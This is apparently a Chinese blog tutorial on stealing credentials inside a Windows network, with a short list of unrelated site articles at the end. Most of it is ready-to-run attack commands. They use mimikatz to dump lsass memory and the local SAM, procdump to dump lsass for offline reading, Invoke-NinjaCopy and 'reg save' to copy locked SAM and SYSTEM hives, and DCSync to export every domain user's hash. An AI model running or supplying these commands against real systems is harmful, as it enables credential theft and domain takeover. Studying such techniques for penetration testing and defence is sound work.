内网信息收集——用户凭据窃取

一、获取域内单机密码和hash

在windows中,SAM文件是windows用户的账户数据库,位于系统的%SystemRoot%\System\Config目录中,所有本地用户的用户名、密码hash等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码会被转化为hash,然后再与SAM文件中的hash值对比,若相同,则认证成功。lsass.exe是windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigestTspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。

用来获取主机的用户密码和hash的工作大多通过读取SAM文件或者访问lsass.exe进程的内存数据等操作来实现。这些操作大多需要管理员权限

1.1 在线读取lsass进程内存

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# privilege::debug:提升至Debugprivlege权限
# sekurlsa::logonpasswords full:导出用户凭证

在这里插入图片描述

如果出现以下错误,需要用管理员身份打开cmd命令行。
在这里插入图片描述

1.2 离线读取lsass.exe进程内存

除了在线读取外,还可以直接将lsass.exe的进程内存转存,将内存文件导出到本地后,使用mimikatz.exe进行离线读取。这里使用procdump实现离线转存。

procdump.exe -accepteula -ma lsass.exe lsass.dmp # 将lsass.exe进程转存
mimikatz.exe "sekurl::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurl::minidump lsass.dump:用于加载文件
# sekurlsa::logonpasswords full:导出用户凭证

在这里插入图片描述

在这里插入图片描述

1.3 在线读取本地SAM文件

读取SAM文件中保存的用户登录凭证,可以导出当前系统中所有本地用户的hash。

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug:提升至Debugprivlege权限
# token::elevate:提升到system权限
# lsadump::sam:读取本地sam文件

在这里插入图片描述

1.4 离线读取本地SAM文件

离线读取就是将SAM文件导出,使用mimikatz加载并读取其中用户的登录凭证等信息。注意:为了提高SAM文件的安全性以防止被离线破解,windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件在同一目录下。

通过Invoke-NinjaCopy.psl脚本实现
在目标主机上导出SAM和SYSTEM文件,因为系统在运行时,这两个文件被锁定,可以使用PowerSploit项目中的Invoke-NinjaCopy.psl脚本实现。

管理员身份启动powershell,在域环境中需要域管理员密码才能启动。

Import-Module .\Invoke-NinjaCopy.psl
Invoke-NinjaCopy -Path "C:\Windows\System32\config\sam" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Temp\SYSTEM

在这里插入图片描述

出现以下错误,运行Set-ExecutionPolicy Unrestricted -Scope CurrrentUser
在这里插入图片描述

# 使用mimikatz加载并读取SAM中的用户凭证信息
mimikatz.exe "lsadump::sam /sam:C:\SAM /system:C:\SYSTEM" exit

在这里插入图片描述
通过注册表实现

需要管理员权限

# 使用管理员权限,通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# 使用mimikatz加载并读取SAM中的用户凭证
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

在这里插入图片描述

二、域hash获取

lsadump::dcsync /domain:<domain> /all /csv # 导出域内所有用户的信息(包括哈希值)

在这里插入图片描述
参考资料:内网渗透测试:DCSync 攻击技术的利用

三、windows凭据导出

Invoke-WCMDump,一个用于Windows环境的凭据提取PowerShell模块,能解密LSA和DPAPI存储的敏感信息,以及捕获Wdigest明文密码。


待续…

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 22:32:04       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 22:32:04       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 22:32:04       58 阅读
  4. Python语言-面向对象

    2024-07-14 22:32:04       69 阅读

热门阅读

  1. Docker--在linux安装软件

    2024-07-14 22:32:04       22 阅读
  2. OpenJudge | 回文串判断

    2024-07-14 22:32:04       22 阅读
  3. C++数组

    2024-07-14 22:32:04       19 阅读
  4. 数仓工具—Hive语法之正则表达式函数

    2024-07-14 22:32:04       21 阅读
  5. 【Lua】lua实现C# continue效果

    2024-07-14 22:32:04       17 阅读
  6. 探索TASKCTL和 DataStage 的ETL任务调度协同

    2024-07-14 22:32:04       17 阅读
  7. TCPDump协议分析工具

    2024-07-14 22:32:04       20 阅读
  8. 神领物流项目第二天

    2024-07-14 22:32:04       17 阅读